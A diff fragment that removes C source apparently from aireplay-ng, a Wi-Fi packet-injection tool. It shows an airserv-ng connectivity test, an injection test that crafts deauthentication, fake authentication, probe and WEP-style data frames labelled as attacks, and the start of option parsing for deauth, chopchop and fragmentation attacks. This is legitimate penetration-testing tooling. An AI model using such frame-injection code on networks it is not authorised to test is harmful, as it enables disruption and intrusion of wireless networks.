-	*ptr++ = 0;
-
-	if (!inet_aton(host, (struct in_addr *) &addr))
-		goto out; /* XXX resolve hostname */
-
-	if (strlen(host) > 15)
-	{
-		port = -1;
-		goto out;
-	}
-	strncpy(ip, host, ip_size);
-	port = atoi(ptr);
-	if (port <= 0) port = -1;
-
-out:
-	free(host);
-	return port;
-}
-
-struct net_hdr
-{
-	uint8_t nh_type;
-	uint32_t nh_len;
-	uint8_t nh_data[0];
-} __packed;
-
-static int tcp_test(const char * ip_str, const short port)
-{
-	int sock, i;
-	struct sockaddr_in s_in;
-	int packetsize = 1024;
-	unsigned char packet[packetsize];
-	struct timeval tv, tv2, tv3;
-	int caplen = 0;
-	int times[REQUESTS];
-	int min, avg, max, len;
-	struct net_hdr nh;
-
-	tv3.tv_sec = 0;
-	tv3.tv_usec = 1;
-
-	memset(&s_in, 0, sizeof(struct sockaddr_in));
-	s_in.sin_family = PF_INET;
-	s_in.sin_port = htons(port);
-	if (!inet_aton(ip_str, &s_in.sin_addr)) return -1;
-
-	if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
-		return -1;
-
-	/* avoid blocking on reading the socket */
-	if (fcntl(sock, F_SETFL, O_NONBLOCK) < 0)
-	{
-		perror("fcntl(O_NONBLOCK) failed");
-		close(sock);
-		return (1);
-	}
-
-	gettimeofday(&tv, NULL);
-
-	while (1) // waiting for relayed packet
-	{
-		if (connect(sock, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
-		{
-			if (errno != EINPROGRESS && errno != EALREADY)
-			{
-				perror("connect");
-				close(sock);
-
-				printf("Failed to connect\n");
-
-				return -1;
-			}
-		}
-		else
-		{
-			gettimeofday(&tv2, NULL);
-			break;
-		}
-
-		gettimeofday(&tv2, NULL);
-		// wait 3000ms for a successful connect
-		if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
-			 + (tv2.tv_usec - tv.tv_usec))
-			> (3000 * 1000))
-		{
-			printf("Connection timed out\n");
-			close(sock);
-			return (-1);
-		}
-		usleep(10);
-	}
-
-	PCT;
-	printf("TCP connection successful\n");
-
-	// trying to identify airserv-ng
-	memset(&nh, 0, sizeof(nh));
-	//     command: GET_CHAN
-	nh.nh_type = 2;
-	nh.nh_len = htonl(0);
-
-	if (send(sock, &nh, sizeof(nh), 0) != sizeof(nh))
-	{
-		perror("send");
-		close(sock);
-		return -1;
-	}
-
-	gettimeofday(&tv, NULL);
-	i = 0;
-
-	while (1) // waiting for GET_CHAN answer
-	{
-		caplen = read(sock, &nh, sizeof(nh));
-
-		if (caplen == -1)
-		{
-			if (errno != EAGAIN)
-			{
-				perror("read");
-				close(sock);
-				return -1;
-			}
-		}
-
-		if (caplen > 0 && (unsigned) caplen == sizeof(nh))
-		{
-			len = ntohl(nh.nh_len);
-			if (len <= packetsize && len > 0)
-			{
-				if (nh.nh_type == 1 && i == 0)
-				{
-					i = 1;
-					caplen = read(sock, packet, len);
-					if (caplen == len)
-					{
-						i = 2;
-						break;
-					}
-					else
-					{
-						i = 0;
-					}
-				}
-				else
-				{
-					caplen = read(sock, packet, len);
-				}
-			}
-		}
-
-		gettimeofday(&tv2, NULL);
-		// wait 1000ms for an answer
-		if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
-			 + (tv2.tv_usec - tv.tv_usec))
-			> (1000 * 1000))
-		{
-			break;
-		}
-		if (caplen == -1) usleep(10);
-	}
-
-	if (i == 2)
-	{
-		PCT;
-		printf("airserv-ng found\n");
-	}
-	else
-	{
-		PCT;
-		printf("airserv-ng NOT found\n");
-	}
-
-	close(sock);
-
-	for (i = 0; i < REQUESTS; i++)
-	{
-		if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
-			return -1;
-
-		/* avoid blocking on reading the socket */
-		if (fcntl(sock, F_SETFL, O_NONBLOCK) < 0)
-		{
-			perror("fcntl(O_NONBLOCK) failed");
-			close(sock);
-			return (1);
-		}
-
-		usleep(1000);
-
-		gettimeofday(&tv, NULL);
-
-		while (1) // waiting for relayed packet
-		{
-			if (connect(sock, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
-			{
-				if (errno != EINPROGRESS && errno != EALREADY)
-				{
-					perror("connect");
-					close(sock);
-
-					printf("Failed to connect\n");
-
-					return -1;
-				}
-			}
-			else
-			{
-				gettimeofday(&tv2, NULL);
-				break;
-			}
-
-			gettimeofday(&tv2, NULL);
-			// wait 1000ms for a successful connect
-			if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
-				 + (tv2.tv_usec - tv.tv_usec))
-				> (1000 * 1000))
-			{
-				break;
-			}
-			// simple "high-precision" usleep
-			select(1, NULL, NULL, NULL, &tv3);
-		}
-		times[i] = ((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
-					+ (tv2.tv_usec - tv.tv_usec));
-		printf("\r%d/%d\r", i, REQUESTS);
-		fflush(stdout);
-		close(sock);
-	}
-
-	min = INT_MAX;
-	avg = 0;
-	max = 0;
-
-	for (i = 0; i < REQUESTS; i++)
-	{
-		if (times[i] < min) min = times[i];
-		if (times[i] > max) max = times[i];
-		avg += times[i];
-	}
-	avg /= REQUESTS;
-
-	PCT;
-	printf("ping %s:%d (min/avg/max): %.3fms/%.3fms/%.3fms\n",
-		   ip_str,
-		   port,
-		   min /
-#if defined(__x86_64__) && defined(__CYGWIN__)
-			   (0.0f + 1000),
-		   avg / (0.0f + 1000),
-		   max / (0.0f + 1000));
-#else
-			   1000.0,
-		   avg / 1000.0,
-		   max / 1000.0);
-#endif
-
-	return 0;
-}
-
-static int do_attack_test(void)
-{
-	unsigned char packet[4096];
-	struct timeval tv, tv2, tv3;
-	int len = 0, j = 0, k = 0;
-	int gotit = 0, answers = 0, found = 0;
-	int caplen = 0, essidlen = 0;
-	unsigned int min, avg, max, i = 0;
-	int ret = 0;
-	float avg2;
-	struct rx_info ri;
-	unsigned long atime = 200; // time in ms to wait for answer packet (needs to
-	// be higher for airserv)
-	unsigned char nulldata[1024];
-
-	if (opt.port_out > 0)
-	{
-		atime += 200;
-		PCT;
-		printf("Testing connection to injection device %s\n", opt.iface_out);
-		ret = tcp_test(opt.ip_out, opt.port_out);
-		if (ret != 0)
-		{
-			return (1);
-		}
-		printf("\n");
-
-		/* open the replay interface */
-		_wi_out = wi_open(opt.iface_out);
-		if (!_wi_out) return 1;
-		printf("\n");
-		dev.fd_out = wi_fd(_wi_out);
-		wi_get_mac(_wi_out, dev.mac_out);
-		if (opt.s_face == NULL)
-		{
-			_wi_in = _wi_out;
-			dev.fd_in = dev.fd_out;
-
-			/* XXX */
-			dev.arptype_in = dev.arptype_out;
-			wi_get_mac(_wi_in, dev.mac_in);
-		}
-	}
-
-	if (opt.s_face && opt.port_in > 0)
-	{
-		atime += 200;
-		PCT;
-		printf("Testing connection to capture device %s\n", opt.s_face);
-		ret = tcp_test(opt.ip_in, opt.port_in);
-		if (ret != 0)
-		{
-			return (1);
-		}
-		printf("\n");
-
-		/* open the packet source */
-		_wi_in = wi_open(opt.s_face);
-		if (!_wi_in) return 1;
-		dev.fd_in = wi_fd(_wi_in);
-		wi_get_mac(_wi_in, dev.mac_in);
-		printf("\n");
-	}
-	else if (opt.s_face && opt.port_in <= 0)
-	{
-		_wi_in = wi_open(opt.s_face);
-		if (!_wi_in) return 1;
-		dev.fd_in = wi_fd(_wi_in);
-		wi_get_mac(_wi_in, dev.mac_in);
-		printf("\n");
-	}
-
-	if (opt.port_in <= 0)
-	{
-		/* avoid blocking on reading the socket */
-		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
-		{
-			perror("fcntl(O_NONBLOCK) failed");
-			return (1);
-		}
-	}
-
-	if (getnet(NULL, 0, 0) != 0) return 1;
-
-	srand(time(NULL));
-
-	memset(ap, '\0', sizeof(ap));
-
-	essidlen = strlen(opt.r_essid);
-	if (essidlen > 250) essidlen = 250;
-
-	if (essidlen > 0)
-	{
-		ap[0].set = 1;
-		ap[0].found = 0;
-		ap[0].len = essidlen;
-		memcpy(ap[0].essid, opt.r_essid, essidlen);
-		ap[0].essid[essidlen] = '\0';
-		memcpy(ap[0].bssid, opt.r_bssid, 6);
-		found++;
-	}
-
-	if (opt.bittest) set_bitrate(_wi_out, RATE_1M);
-
-	PCT;
-	printf("Trying broadcast probe requests...\n");
-
-	memcpy(h80211, PROBE_REQ, 24);
-
-	len = 24;
-
-	h80211[24] = 0x00; // ESSID Tag Number
-	h80211[25] = 0x00; // ESSID Tag Length
-
-	len += 2;
-
-	memcpy(h80211 + len, RATES, 16);
-
-	len += 16;
-
-	gotit = 0;
-	answers = 0;
-	for (i = 0; i < 3; i++)
-	{
-		/*
-			random source so we can identify our packets
-		*/
-		opt.r_smac[0] = 0x00;
-		opt.r_smac[1] = rand() & 0xFF;
-		opt.r_smac[2] = rand() & 0xFF;
-		opt.r_smac[3] = rand() & 0xFF;
-		opt.r_smac[4] = rand() & 0xFF;
-		opt.r_smac[5] = rand() & 0xFF;
-
-		memcpy(h80211 + 10, opt.r_smac, 6);
-
-		send_packet(h80211, len);
-
-		gettimeofday(&tv, NULL);
-
-		while (1) // waiting for relayed packet
-		{
-			caplen = read_packet(packet, sizeof(packet), &ri);
-
-			if (packet[0] == 0x50) // Is probe response
-			{
-				if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
-				{
-					if (grab_essid(packet, caplen) == 0
-						&& (!memcmp(opt.r_bssid, NULL_MAC, 6)))
-					{
-						found++;
-					}
-					if (!answers)
-					{
-						PCT;
-						printf("Injection is working!\n");
-						if (opt.fast) return 0;
-						gotit = 1;
-						answers++;
-					}
-				}
-			}
-
-			if (packet[0] == 0x80) // Is beacon frame
-			{
-				if (grab_essid(packet, caplen) == 0
-					&& (!memcmp(opt.r_bssid, NULL_MAC, 6)))
-				{
-					found++;
-				}
-			}
-
-			gettimeofday(&tv2, NULL);
-			if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
-				 + (tv2.tv_usec - tv.tv_usec))
-				> (3 * atime * 1000)) // wait 'atime'ms for an answer
-			{
-				break;
-			}
-		}
-	}
-	if (answers == 0)
-	{
-		PCT;
-		printf("No Answer...\n");
-	}
-
-	PCT;
-	printf("Found %d AP%c\n", found, ((found == 1) ? ' ' : 's'));
-
-	if (found > 0)
-	{
-		printf("\n");
-		PCT;
-		printf("Trying directed probe requests...\n");
-	}
-
-	for (i = 0; i < found; i++)
-	{
-		if (wi_get_channel(_wi_out) != ap[i].chan)
-		{
-			wi_set_channel(_wi_out, ap[i].chan);
-		}
-
-		if (wi_get_channel(_wi_in) != ap[i].chan)
-		{
-			wi_set_channel(_wi_in, ap[i].chan);
-		}
-
-		PCT;
-		printf("%02X:%02X:%02X:%02X:%02X:%02X - channel: %d - \'%s\'\n",
-			   ap[i].bssid[0],
-			   ap[i].bssid[1],
-			   ap[i].bssid[2],
-			   ap[i].bssid[3],
-			   ap[i].bssid[4],
-			   ap[i].bssid[5],
-			   ap[i].chan,
-			   ap[i].essid);
-
-		ap[i].found = 0;
-		min = INT_MAX;
-		max = 0;
-		avg = 0;
-		avg2 = 0;
-
-		memcpy(h80211, PROBE_REQ, 24);
-
-		len = 24;
-
-		h80211[24] = 0x00; // ESSID Tag Number
-		h80211[25] = ap[i].len; // ESSID Tag Length
-		memcpy(h80211 + len + 2, ap[i].essid, ap[i].len);
-
-		len += ap[i].len + 2;
-
-		memcpy(h80211 + len, RATES, 16);
-
-		len += 16;
-
-		for (j = 0; j < REQUESTS; j++)
-		{
-			/*
-				random source so we can identify our packets
-			*/
-			opt.r_smac[0] = 0x00;
-			opt.r_smac[1] = rand() & 0xFF;
-			opt.r_smac[2] = rand() & 0xFF;
-			opt.r_smac[3] = rand() & 0xFF;
-			opt.r_smac[4] = rand() & 0xFF;
-			opt.r_smac[5] = rand() & 0xFF;
-
-			// build/send probe request
-			memcpy(h80211 + 10, opt.r_smac, 6);
-
-			send_packet(h80211, len);
-			usleep(10);
-
-			// build/send request-to-send
-			memcpy(nulldata, RTS, 16);
-			memcpy(nulldata + 4, ap[i].bssid, 6);
-			memcpy(nulldata + 10, opt.r_smac, 6);
-
-			send_packet(nulldata, 16);
-			usleep(10);
-
-			// build/send null data packet
-			memcpy(nulldata, NULL_DATA, 24);
-			memcpy(nulldata + 4, ap[i].bssid, 6);
-			memcpy(nulldata + 10, opt.r_smac, 6);
-			memcpy(nulldata + 16, ap[i].bssid, 6);
-
-			send_packet(nulldata, 24);
-			usleep(10);
-
-			// build/send auth request packet
-			memcpy(nulldata, AUTH_REQ, 30);
-			memcpy(nulldata + 4, ap[i].bssid, 6);
-			memcpy(nulldata + 10, opt.r_smac, 6);
-			memcpy(nulldata + 16, ap[i].bssid, 6);
-
-			send_packet(nulldata, 30);
-
-			// continue
-			gettimeofday(&tv, NULL);
-
-			printf("\r%2d/%2d: %3d%%\r",
-				   ap[i].found,
-				   j + 1,
-				   ((ap[i].found * 100) / (j + 1)));
-			fflush(stdout);
-			while (1) // waiting for relayed packet
-			{
-				caplen = read_packet(packet, sizeof(packet), &ri);
-
-				if (packet[0] == 0x50) // Is probe response
-				{
-					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
-					{
-						if (!memcmp(ap[i].bssid,
-									packet + 16,
-									6)) // From the mentioned AP
-						{
-							gettimeofday(&tv3, NULL);
-							ap[i].ping[j]
-								= ((tv3.tv_sec * 1000000 - tv.tv_sec * 1000000)
-								   + (tv3.tv_usec - tv.tv_usec));
-							if (!answers)
-							{
-								if (opt.fast)
-								{
-									PCT;
-									printf("Injection is working!\n\n");
-									return 0;
-								}
-								answers++;
-							}
-							ap[i].found++;
-							if ((signed) ri.ri_power > -200)
-								ap[i].pwr[j] = (signed) ri.ri_power;
-							break;
-						}
-					}
-				}
-
-				if (packet[0] == 0xC4) // Is clear-to-send
-				{
-					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
-					{
-						gettimeofday(&tv3, NULL);
-						ap[i].ping[j]
-							= ((tv3.tv_sec * 1000000 - tv.tv_sec * 1000000)
-							   + (tv3.tv_usec - tv.tv_usec));
-						if (!answers)
-						{
-							if (opt.fast)
-							{
-								PCT;
-								printf("Injection is working!\n\n");
-								return 0;
-							}
-							answers++;
-						}
-						ap[i].found++;
-						if ((signed) ri.ri_power > -200)
-							ap[i].pwr[j] = (signed) ri.ri_power;
-						break;
-					}
-				}
-
-				if (packet[0] == 0xD4) // Is ack
-				{
-					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
-					{
-						gettimeofday(&tv3, NULL);
-						ap[i].ping[j]
-							= ((tv3.tv_sec * 1000000 - tv.tv_sec * 1000000)
-							   + (tv3.tv_usec - tv.tv_usec));
-						if (!answers)
-						{
-							if (opt.fast)
-							{
-								PCT;
-								printf("Injection is working!\n\n");
-								return 0;
-							}
-							answers++;
-						}
-						ap[i].found++;
-						if ((signed) ri.ri_power > -200)
-							ap[i].pwr[j] = (signed) ri.ri_power;
-						break;
-					}
-				}
-
-				if (packet[0] == 0xB0) // Is auth response
-				{
-					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
-					{
-						if (!memcmp(packet + 10, packet + 16, 6)) // From BSS ID
-						{
-							gettimeofday(&tv3, NULL);
-							ap[i].ping[j]
-								= ((tv3.tv_sec * 1000000 - tv.tv_sec * 1000000)
-								   + (tv3.tv_usec - tv.tv_usec));
-							if (!answers)
-							{
-								if (opt.fast)
-								{
-									PCT;
-									printf("Injection is working!\n\n");
-									return 0;
-								}
-								answers++;
-							}
-							ap[i].found++;
-							if ((signed) ri.ri_power > -200)
-								ap[i].pwr[j] = (signed) ri.ri_power;
-							break;
-						}
-					}
-				}
-
-				gettimeofday(&tv2, NULL);
-				if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
-					 + (tv2.tv_usec - tv.tv_usec))
-					> (atime * 1000)) // wait 'atime'ms for an answer
-				{
-					break;
-				}
-				usleep(10);
-			}
-			printf("\r%2d/%2d: %3d%%\r",
-				   ap[i].found,
-				   j + 1,
-				   ((ap[i].found * 100) / (j + 1)));
-			fflush(stdout);
-		}
-		for (j = 0; j < REQUESTS; j++)
-		{
-			if (ap[i].ping[j] > 0)
-			{
-				if (ap[i].ping[j] > max) max = ap[i].ping[j];
-				if (ap[i].ping[j] < min) min = ap[i].ping[j];
-				avg += ap[i].ping[j];
-				avg2 += ap[i].pwr[j];
-			}
-		}
-		if (ap[i].found > 0)
-		{
-			avg /= ap[i].found;
-			avg2 /= ap[i].found;
-			PCT;
-			printf("Ping (min/avg/max): %.3fms/%.3fms/%.3fms Power: %.2f\n",
-#if defined(__x86_64__) && defined(__CYGWIN__)
-				   (min / (0.0f + 1000)),
-				   (avg / (0.0f + 1000)),
-				   (max / (0.0f + 1000)),
-				   avg2);
-#else
-				   (min / 1000.0),
-				   (avg / 1000.0),
-				   (max / 1000.0),
-				   avg2);
-#endif
-		}
-		PCT;
-		printf("%2d/%2d: %3d%%\n\n",
-			   ap[i].found,
-			   REQUESTS,
-			   ((ap[i].found * 100) / REQUESTS));
-
-		if (!gotit && answers)
-		{
-			PCT;
-			printf("Injection is working!\n\n");
-			gotit = 1;
-		}
-	}
-
-	if (opt.bittest)
-	{
-		if (found > 0)
-		{
-			PCT;
-			printf("Trying directed probe requests for all bitrates...\n");
-		}
-
-		for (i = 0; i < found; i++)
-		{
-			if (ap[i].found <= 0) continue;
-			printf("\n");
-			PCT;
-			printf("%02X:%02X:%02X:%02X:%02X:%02X - channel: %d - \'%s\'\n",
-				   ap[i].bssid[0],
-				   ap[i].bssid[1],
-				   ap[i].bssid[2],
-				   ap[i].bssid[3],
-				   ap[i].bssid[4],
-				   ap[i].bssid[5],
-				   ap[i].chan,
-				   ap[i].essid);
-
-			min = INT_MAX;
-			max = 0;
-			avg = 0;
-
-			memcpy(h80211, PROBE_REQ, 24);
-
-			len = 24;
-
-			h80211[24] = 0x00; // ESSID Tag Number
-			h80211[25] = ap[i].len; // ESSID Tag Length
-			memcpy(h80211 + len + 2, ap[i].essid, ap[i].len);
-
-			len += ap[i].len + 2;
-
-			memcpy(h80211 + len, RATES, 16);
-
-			len += 16;
-
-			for (k = 0; k < RATE_NUM; k++)
-			{
-				ap[i].found = 0;
-				if (set_bitrate(_wi_out, bitrates[k])) continue;
-
-				avg2 = 0;
-				memset(ap[i].pwr, 0, REQUESTS * sizeof(unsigned int));
-
-				for (j = 0; j < REQUESTS; j++)
-				{
-					/*
-						random source so we can identify our packets
-					*/
-					opt.r_smac[0] = 0x00;
-					opt.r_smac[1] = rand() & 0xFF;
-					opt.r_smac[2] = rand() & 0xFF;
-					opt.r_smac[3] = rand() & 0xFF;
-					opt.r_smac[4] = rand() & 0xFF;
-					opt.r_smac[5] = rand() & 0xFF;
-
-					memcpy(h80211 + 10, opt.r_smac, 6);
-
-					send_packet(h80211, len);
-
-					gettimeofday(&tv, NULL);
-
-					printf("\r%2d/%2d: %3d%%\r",
-						   ap[i].found,
-						   j + 1,
-						   ((ap[i].found * 100) / (j + 1)));
-					fflush(stdout);
-					while (1) // waiting for relayed packet
-					{
-						caplen = read_packet(packet, sizeof(packet), &ri);
-
-						if (packet[0] == 0x50) // Is probe response
-						{
-							if (!memcmp(opt.r_smac, packet + 4, 6)) // To our
-							// MAC
-							{
-								if (!memcmp(ap[i].bssid,
-											packet + 16,
-											6)) // From the mentioned AP
-								{
-									if (!answers)
-									{
-										answers++;
-									}
-									ap[i].found++;
-									if ((signed) ri.ri_power > -200)
-										ap[i].pwr[j] = (signed) ri.ri_power;
-									break;
-								}
-							}
-						}
-
-						gettimeofday(&tv2, NULL);
-						if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
-							 + (tv2.tv_usec - tv.tv_usec))
-							> (100 * 1000)) // wait 300ms for an answer
-						{
-							break;
-						}
-						usleep(10);
-					}
-					printf("\r%2d/%2d: %3d%%\r",
-						   ap[i].found,
-						   j + 1,
-						   ((ap[i].found * 100) / (j + 1)));
-					fflush(stdout);
-				}
-				for (j = 0; j < REQUESTS; j++) avg2 += ap[i].pwr[j];
-				if (ap[i].found > 0) avg2 /= ap[i].found;
-				PCT;
-				printf("Probing at %2.1f Mbps:\t%2d/%2d: %3d%%\n",
-					   wi_get_rate(_wi_out) /
-#if defined(__x86_64__) && defined(__CYGWIN__)
-						   (0.0f + 1000000),
-#else
-						   1000000.0,
-#endif
-					   ap[i].found,
-					   REQUESTS,
-					   ((ap[i].found * 100) / REQUESTS));
-			}
-
-			if (!gotit && answers)
-			{
-				PCT;
-				printf("Injection is working!\n\n");
-				if (opt.fast) return 0;
-				gotit = 1;
-			}
-		}
-	}
-	if (opt.bittest) set_bitrate(_wi_out, RATE_1M);
-
-	if (opt.s_face != NULL)
-	{
-		printf("\n");
-		PCT;
-		printf("Trying card-to-card injection...\n");
-
-		/* sync both cards to the same channel, or the test will fail */
-		if (wi_get_channel(_wi_out) != wi_get_channel(_wi_in))
-		{
-			wi_set_channel(_wi_out, wi_get_channel(_wi_in));
-		}
-
-		/* Attacks */
-		for (i = 0; i < 5; i++)
-		{
-			k = 0;
-			/* random macs */
-			opt.f_smac[0] = 0x00;
-			opt.f_smac[1] = rand() & 0xFF;
-			opt.f_smac[2] = rand() & 0xFF;
-			opt.f_smac[3] = rand() & 0xFF;
-			opt.f_smac[4] = rand() & 0xFF;
-			opt.f_smac[5] = rand() & 0xFF;
-
-			opt.f_dmac[0] = 0x00;
-			opt.f_dmac[1] = rand() & 0xFF;
-			opt.f_dmac[2] = rand() & 0xFF;
-			opt.f_dmac[3] = rand() & 0xFF;
-			opt.f_dmac[4] = rand() & 0xFF;
-			opt.f_dmac[5] = rand() & 0xFF;
-
-			opt.f_bssid[0] = 0x00;
-			opt.f_bssid[1] = rand() & 0xFF;
-			opt.f_bssid[2] = rand() & 0xFF;
-			opt.f_bssid[3] = rand() & 0xFF;
-			opt.f_bssid[4] = rand() & 0xFF;
-			opt.f_bssid[5] = rand() & 0xFF;
-
-			if (i == 0) // attack -0
-			{
-				memcpy(h80211, DEAUTH_REQ, 26);
-				memcpy(h80211 + 16, opt.f_bssid, 6);
-				memcpy(h80211 + 4, opt.f_dmac, 6);
-				memcpy(h80211 + 10, opt.f_smac, 6);
-
-				opt.f_iswep = 0;
-				opt.f_tods = 0;
-				opt.f_fromds = 0;
-				opt.f_minlen = opt.f_maxlen = 26;
-			}
-			else if (i == 1) // attack -1 (open)
-			{
-				memcpy(h80211, AUTH_REQ, 30);
-				memcpy(h80211 + 4, opt.f_dmac, 6);
-				memcpy(h80211 + 10, opt.f_smac, 6);
-				memcpy(h80211 + 16, opt.f_bssid, 6);
-
-				opt.f_iswep = 0;
-				opt.f_tods = 0;
-				opt.f_fromds = 0;
-				opt.f_minlen = opt.f_maxlen = 30;
-			}
-			else if (i == 2) // attack -1 (psk)
-			{
-				memcpy(h80211, ska_auth3, 24);
-				memcpy(h80211 + 4, opt.f_dmac, 6);
-				memcpy(h80211 + 10, opt.f_smac, 6);
-				memcpy(h80211 + 16, opt.f_bssid, 6);
-
-				// iv+idx
-				h80211[24] = 0x86;
-				h80211[25] = 0xD8;
-				h80211[26] = 0x2E;
-				h80211[27] = 0x00;
-
-				// random bytes (as encrypted data)
-				for (j = 0; j < 132; j++) h80211[28 + j] = rand() & 0xFF;
-
-				opt.f_iswep = 1;
-				opt.f_tods = 0;
-				opt.f_fromds = 0;
-				opt.f_minlen = opt.f_maxlen = 24 + 4 + 132;
-			}
-			else if (i == 3) // attack -3
-			{
-				memcpy(h80211, NULL_DATA, 24);
-				memcpy(h80211 + 4, opt.f_bssid, 6);
-				memcpy(h80211 + 10, opt.f_smac, 6);
-				memcpy(h80211 + 16, opt.f_dmac, 6);
-
-				// iv+idx
-				h80211[24] = 0x86;
-				h80211[25] = 0xD8;
-				h80211[26] = 0x2E;
-				h80211[27] = 0x00;
-
-				// random bytes (as encrypted data)
-				for (j = 0; j < 132; j++) h80211[28 + j] = rand() & 0xFF;
-
-				opt.f_iswep = -1;
-				opt.f_tods = 1;
-				opt.f_fromds = 0;
-				opt.f_minlen = opt.f_maxlen = 24 + 4 + 132;
-			}
-			else if (i == 4) // attack -5
-			{
-				memcpy(h80211, NULL_DATA, 24);
-				memcpy(h80211 + 4, opt.f_bssid, 6);
-				memcpy(h80211 + 10, opt.f_smac, 6);
-				memcpy(h80211 + 16, opt.f_dmac, 6);
-
-				h80211[1] |= 0x04;
-				h80211[22] = 0x0A;
-				h80211[23] = 0x00;
-
-				// iv+idx
-				h80211[24] = 0x86;
-				h80211[25] = 0xD8;
-				h80211[26] = 0x2E;
-				h80211[27] = 0x00;
-
-				// random bytes (as encrypted data)
-				for (j = 0; j < 7; j++) h80211[28 + j] = rand() & 0xFF;
-
-				opt.f_iswep = -1;
-				opt.f_tods = 1;
-				opt.f_fromds = 0;
-				opt.f_minlen = opt.f_maxlen = 24 + 4 + 7;
-			}
-
-			for (j = 0; (j < (REQUESTS / 4) && !k); j++) // try it 5 times
-			{
-				send_packet(h80211, opt.f_minlen);
-
-				gettimeofday(&tv, NULL);
-				while (1) // waiting for relayed packet
-				{
-					caplen = read_packet(packet, sizeof(packet), &ri);
-					if (filter_packet(packet, caplen)
-						== 0) // got same length and same type
-					{
-						if (!answers)
-						{
-							answers++;
-						}
-
-						if (i == 0) // attack -0
-						{
-							if (h80211[0] == packet[0])
-							{
-								k = 1;
-								break;
-							}
-						}
-						else if (i == 1) // attack -1 (open)
-						{
-							if (h80211[0] == packet[0])
-							{
-								k = 1;
-								break;
-							}
-						}
-						else if (i == 2) // attack -1 (psk)
-						{
-							if (h80211[0] == packet[0]
-								&& memcmp(h80211 + 24, packet + 24, caplen - 24)
-									   == 0)
-							{
-								k = 1;
-								break;
-							}
-						}
-						else if (i == 3) // attack -2/-3/-4/-6
-						{
-							if (h80211[0] == packet[0]
-								&& memcmp(h80211 + 24, packet + 24, caplen - 24)
-									   == 0)
-							{
-								k = 1;
-								break;
-							}
-						}
-						else if (i == 4) // attack -5/-7
-						{
-							if (h80211[0] == packet[0]
-								&& memcmp(h80211 + 24, packet + 24, caplen - 24)
-									   == 0)
-							{
-								if ((packet[1] & 0x04)
-									&& memcmp(h80211 + 22, packet + 22, 2) == 0)
-								{
-									k = 1;
-									break;
-								}
-							}
-						}
-					}
-
-					gettimeofday(&tv2, NULL);
-					if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
-						 + (tv2.tv_usec - tv.tv_usec))
-						> (3 * atime * 1000)) // wait 3*'atime' ms for an answer
-					{
-						break;
-					}
-					usleep(10);
-				}
-			}
-			if (k)
-			{
-				k = 0;
-				if (i == 0) // attack -0
-				{
-					PCT;
-					printf("Attack -0:           OK\n");
-				}
-				else if (i == 1) // attack -1 (open)
-				{
-					PCT;
-					printf("Attack -1 (open):    OK\n");
-				}
-				else if (i == 2) // attack -1 (psk)
-				{
-					PCT;
-					printf("Attack -1 (psk):     OK\n");
-				}
-				else if (i == 3) // attack -3
-				{
-					PCT;
-					printf("Attack -2/-3/-4/-6:  OK\n");
-				}
-				else if (i == 4) // attack -5
-				{
-					PCT;
-					printf("Attack -5/-7:        OK\n");
-				}
-			}
-			else
-			{
-				if (i == 0) // attack -0
-				{
-					PCT;
-					printf("Attack -0:           Failed\n");
-				}
-				else if (i == 1) // attack -1 (open)
-				{
-					PCT;
-					printf("Attack -1 (open):    Failed\n");
-				}
-				else if (i == 2) // attack -1 (psk)
-				{
-					PCT;
-					printf("Attack -1 (psk):     Failed\n");
-				}
-				else if (i == 3) // attack -3
-				{
-					PCT;
-					printf("Attack -2/-3/-4/-6:  Failed\n");
-				}
-				else if (i == 4) // attack -5
-				{
-					PCT;
-					printf("Attack -5/-7:        Failed\n");
-				}
-			}
-		}
-
-		if (!gotit && answers)
-		{
-			PCT;
-			printf("Injection is working!\n");
-			if (opt.fast) return 0;
-			gotit = 1;
-		}
-	}
-	return 0;
-}
-
-int main(int argc, char * argv[])
-{
-	int n, i, ret;
-
-	/* check the arguments */
-
-	memset(&opt, 0, sizeof(opt));
-	memset(&dev, 0, sizeof(dev));
-
-	opt.f_type = -1;
-	opt.f_subtype = -1;
-	opt.f_minlen = -1;
-	opt.f_maxlen = -1;
-	opt.f_tods = -1;
-	opt.f_fromds = -1;
-	opt.f_iswep = -1;
-	opt.ringbuffer = 8;
-
-	opt.a_mode = -1;
-	opt.r_fctrl = -1;
-	opt.ghost = 0;
-	opt.delay = 15;
-	opt.bittest = 0;
-	opt.fast = 0;
-	opt.r_smac_set = 0;
-	opt.npackets = 1;
-	opt.nodetect = 0;
-	opt.rtc = 1;
-	opt.f_retry = 0;
-	opt.reassoc = 0;
-	opt.deauth_rc = 7; /* By default deauth reason code is Class 3 frame
-						  received from nonassociated STA */
-
-/* XXX */
-#if 0
-#if defined(__FreeBSD__)
-    /*
-        check what is our FreeBSD version. injection works
-        only on 7-CURRENT so abort if it's a lower version.
-    */
-    if( __FreeBSD_version < 700000 )
-    {
-        fprintf( stderr, "Aireplay-ng does not work on this "
-            "release of FreeBSD.\n" );
-        exit( 1 );
-    }
-#endif
-#endif
-
-	while (1)
-	{
-		int option_index = 0;
-
-		static struct option long_options[]
-			= {{"deauth", 1, 0, '0'},
-			   {"fakeauth", 1, 0, '1'},
-			   {"interactive", 0, 0, '2'},
-			   {"arpreplay", 0, 0, '3'},
-			   {"chopchop", 0, 0, '4'},
-			   {"fragment", 0, 0, '5'},
-			   {"caffe-latte", 0, 0, '6'},
-			   {"cfrag", 0, 0, '7'},
-			   {"test", 0, 0, '9'},
-			   {"help", 0, 0, 'H'},
-			   {"fast", 0, 0, 'F'},
